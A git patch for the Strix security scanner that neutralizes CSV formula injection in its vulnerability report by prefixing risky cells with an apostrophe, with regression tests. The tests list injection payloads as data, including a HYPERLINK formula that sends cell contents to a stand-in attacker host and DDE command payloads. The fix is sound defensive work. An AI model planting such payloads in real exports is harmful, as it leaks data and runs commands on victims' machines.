From e63d805973db97c9a7e450dc69910c058d5385d1 Mon Sep 17 00:00:00 2001 From: itzzdev09 Date: Sun, 30 Aug 2026 22:14:46 +0530 Subject: [PATCH] fix(report): neutralize CSV formula injection in vulnerabilities.csv write_vulnerabilities() wrote finding titles straight into vulnerabilities.csv. The csv module escapes CSV syntax but has no notion of spreadsheet formula triggers, so a title beginning with =, +, -, @, tab or CR reached the cell intact and was evaluated when a human opened the file (CWE-1236). That input is attacker-influenced by design: Strix scans untrusted targets and the agent quotes target content verbatim into finding titles, so a scanned page can dictate a cell's literal contents. _validate_required_text only checks the title is non-blank. Add csv_safe() and apply it to every cell written. A value starting with a formula trigger is prefixed with an apostrophe, the standard mitigation: spreadsheets render the rest as literal text and hide the apostrophe. This follows the module's existing safe_fence() precedent, which already guards the markdown path against the same class of attacker-influenced content. Adds regression tests covering the six trigger characters, that the payload survives intact behind the guard, and that benign titles are untouched. --- strix/report/writer.py | 31 ++++++++++++++++++++---- tests/test_report_writer.py | 47 +++++++++++++++++++++++++++++++++++++ 2 files changed, 73 insertions(+), 5 deletions(-) diff --git a/strix/report/writer.py b/strix/report/writer.py index 7ca28e29..b5f65b45 100644 --- a/strix/report/writer.py +++ b/strix/report/writer.py @@ -26,10 +26,31 @@ logger = logging.getLogger(__name__) _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} +_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r") + _FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL) _BACKTICK_RUN = re.compile(r"`+") +def csv_safe(value: object) -> str: + """Return ``value`` as a CSV cell a spreadsheet will not treat as a formula. + + Excel, LibreOffice and Sheets evaluate a cell whose first character is one of + ``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax + but has no notion of formula triggers, so such a value reaches the cell intact + and is executed on open (CWE-1236). Vulnerability titles quote text from the + scanned target, which is exactly the attacker-influenced input this guards + against. + + Prefixing with an apostrophe is the standard mitigation: spreadsheets treat + the rest of the cell as literal text and hide the apostrophe on display. + """ + text = str(value) + if text.startswith(_CSV_FORMULA_PREFIXES): + return "'" + text + return text + + def safe_fence(content: str) -> str: """Return a backtick fence that ``content`` cannot break out of. @@ -151,11 +172,11 @@ def write_vulnerabilities( for report in sorted_reports: csv_writer.writerow( { - "id": report["id"], - "title": report["title"], - "severity": report["severity"].upper(), - "timestamp": report["timestamp"], - "file": f"vulnerabilities/{report['id']}.md", + "id": csv_safe(report["id"]), + "title": csv_safe(report["title"]), + "severity": csv_safe(report["severity"].upper()), + "timestamp": csv_safe(report["timestamp"]), + "file": csv_safe(f"vulnerabilities/{report['id']}.md"), }, ) atomic_write_text(csv_path, csv_buf.getvalue()) diff --git a/tests/test_report_writer.py b/tests/test_report_writer.py index f6f0dbcc..25ad3de6 100644 --- a/tests/test_report_writer.py +++ b/tests/test_report_writer.py @@ -163,6 +163,53 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> assert csv_rows[0]["severity"] == "CRITICAL" +@pytest.mark.parametrize( + "payload", + [ + '=HYPERLINK("http://evil.example/leak?d="&A1,"View")', + "+cmd|'/c calc'!A1", + "@SUM(1+1)*cmd|'/c calc'!A1", + "-2+3+cmd|'/c calc'!A1", + "\t leading tab", + "\r leading carriage return", + ], +) +def test_write_vulnerabilities_csv_neutralizes_formula_injection( + tmp_path: Path, + payload: str, +) -> None: + # Titles quote text from the scanned target, so a finding title can begin with + # a spreadsheet formula trigger. csv escapes CSV syntax but not formula + # triggers, so the cell has to be neutralized before it is written. + write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + title = csv_rows[0]["title"] + assert title.startswith("'") + assert not title.startswith(("=", "+", "-", "@", "\t", "\r")) + + +def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None: + payload = "=1+1" + write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact + + +def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None: + write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + assert csv_rows[0]["title"] == "SQL Injection in /login" + + def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None: reports = [_sample_report(id="vuln-0001")] saved: set[str] = {"vuln-0001"}